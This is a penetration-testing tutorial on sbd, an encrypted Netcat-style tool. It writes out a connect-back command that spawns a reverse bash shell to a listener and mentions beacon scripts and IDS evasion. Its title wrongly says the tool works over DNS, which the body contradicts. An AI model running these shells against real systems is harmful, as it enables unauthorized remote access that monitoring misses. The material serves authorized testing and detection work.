sbd: A tool for creating secure backdoors over DNS queries

I want to clear up a common mix-up before diving in: sbd is not a DNS-based backdoor tool. It’s a small, statically-linked, AES-CBC + HMAC-SHA1 encrypted Netcat clone. If you’ve ever needed Netcat’s simplicity but with actual traffic encryption baked in, sbd is the tool. Here’s the full rundown from what it does to how I use it in lab environments.

What Is sbd?

sbd (“secure backdoor,” per its own naming, though functionally it’s an encrypted transfer/shell utility) is a portable Netcat-alternative included in Kali Linux. Its core selling point over plain Netcat is that all traffic between the two ends is encrypted and authenticated using a pre-shared password, via AES-128-CBC encryption and HMAC-SHA1 for integrity — meaning a packet capture of an sbd session shows encrypted noise, not plaintext shell commands.

It’s a single compact binary (a strength for post-exploitation portability), supports basic port redirection, and includes a “shell mode” for spawning an interactive remote shell.

Architecture and Internal Working

1. sbd operates in one of two roles: listener (-l) or connector (default, client mode).
2. On session start, both sides derive session keys from the shared password you provide with -k.
3. All subsequent data — including command output if used as a shell — is encrypted with AES-128-CBC before transmission and authenticated with HMAC-SHA1 on receipt, rejecting tampered or corrupted packets.
4. sbd can operate over both TCP, and (like Netcat) can be chained with tools for redirection.
5. Because it’s statically compiled, sbd has minimal runtime dependencies, which is useful for dropping onto a target during a lab exercise where you can’t rely on the target having Python, OpenSSL bindings, etc.

Installation

sudo apt update
sudo apt install sbd

Verify installation:

sbd -h

Syntax

sbd [-l] [-p port] [-e prog] [-k password] [host]

Flag breakdown:

• -l — listen mode (server waits for a connection)
• -p — port to listen on or connect to
• -e — program to execute on connection (e.g., /bin/bash for a shell)
• -k — pre-shared password for encryption/authentication
• host — target IP when in connector (client) mode

Complete Command Example and Output

On the listener (attacker-controlled lab machine):

$ sbd -l -p 4444 -k LabTestKey123
listening on [any] 4444...

On the target (connecting out, spawning a shell):

$ sbd -e /bin/bash -k LabTestKey123 10.10.10.5 4444

Back on the listener, once connected:

connect to [10.10.10.5] from target [10.10.10.20] 51322

The listener now has an encrypted interactive bash shell from the target host.

Simple encrypted file transfer:

Listener (receiving):

sbd -l -p 4444 -k LabTestKey123 > received_file.txt

Sender:

sbd -k LabTestKey123 10.10.10.5 4444 < local_file.txt

Verifying encryption with tcpdump/Wireshark:

sudo tcpdump -i eth0 port 4444 -X

Payload bytes will show as high-entropy, non-printable data rather than readable shell commands — confirming the session is encrypted, unlike a plain Netcat shell.

Real-World Use Case (Authorized Pentest)

sbd’s main value in an authorized engagement is evading naive plaintext-signature detection while demonstrating post-exploitation shell access:

1. After gaining code execution on a lab target, I use sbd -e /bin/bash -k <key> <listener_ip> <port> to call back to my listener.
2. Because traffic is AES-encrypted, this defeats simple IDS/IPS signatures that pattern-match on plaintext Netcat banners or shell prompts, letting me demonstrate to the client that content-based detection alone is insufficient.
3. I pair this with a packet capture comparison — showing a plain Netcat shell in cleartext next to an sbd shell showing only ciphertext — as a clear before/after for the report.
4. My recommendation to clients is always to focus on behavioral/metadata-based detection (unexpected outbound connections, unusual process-to-network correlations, endpoint EDR flagging shell spawns) rather than relying solely on payload signature matching, since encrypted C2 traffic defeats the latter by design.

Automation and Integration

• Wrap sbd calls in a simple bash “beacon” script with a sleep loop for a lab-only demonstration of persistent encrypted callback behavior.
• Pair with proxychains4 to route the sbd connection through an intermediate pivot during multi-hop lab scenarios.
• Combine with tcpdump/Wireshark captures as supporting evidence for reports showing encrypted vs. unencrypted shell traffic side by side.

Performance Optimization

• sbd’s static binary size makes it fast to transfer to a target even over constrained channels; keep this in mind when choosing it over heavier alternatives for initial post-exploitation tooling.
• For large file transfers, prefer purpose-built encrypted transfer tools (e.g., scp) where available — sbd is optimized for shells and small transfers, not bulk throughput.

Troubleshooting

• “Connection refused”: confirm the listener is actually running and the port isn’t blocked by a host-based firewall on either end.
• Garbled or failing session: the -k password must match exactly on both ends — a mismatch causes the HMAC check to fail and the session to drop.
• No shell prompt appears: some shells buffer output differently over pipes; try explicitly using /bin/bash -i with -e for interactive behavior.

Best Practices

• Only deploy sbd against systems and networks you are explicitly authorized to test.
• Always set a strong, unique -k password per engagement; never reuse the same key across clients.
• Document and retain packet captures showing the encrypted traffic as part of your evidence for encryption-bypass findings.
• Clean up any sbd binaries and listeners from client systems at the end of testing — treat it like any other implanted tool in your engagement rules of engagement.

Common Mistakes

• Confusing sbd with DNS tunneling tools — it’s a TCP-based encrypted Netcat alternative, not a DNS-based channel.
• Forgetting the -k flag entirely, which either fails or (depending on build) defaults to a well-known key, undermining the whole point of using it over plain Netcat.
• Leaving test listeners running on shared lab infrastructure after the engagement ends.

FAQ

Is sbd the same as Netcat? No — it’s a separate, purpose-built tool that mimics Netcat’s simplicity but adds AES-CBC encryption and HMAC-SHA1 authentication that Netcat itself lacks.

Does sbd tunnel over DNS? No. That’s a common point of confusion; sbd is a standard TCP-based encrypted connection tool, unrelated to DNS tunneling tools like iodine or dns2tcp.

Is sbd traffic undetectable? No tool is undetectable. sbd defeats simple plaintext signature matching, but behavioral detection (unusual outbound connections, unexpected shell-spawning processes) can still flag it.

Can I use sbd for file transfers, not just shells? Yes — omit the -e flag and redirect stdin/stdout to move files through the encrypted channel, as shown above.

Summary

sbd fills a specific niche: an encrypted, portable, Netcat-like tool useful for demonstrating that plaintext-focused network detection isn’t sufficient on its own. In authorized engagements, it’s a clean way to show clients the difference encryption makes to signature-based defenses, and to push conversations toward better behavioral detection strategies.

References

• Kali Linux tool page: https://www.kali.org/tools/sbd/
• Man page: man sbd
• Source package (Debian): https://packages.debian.org/source/sid/sbd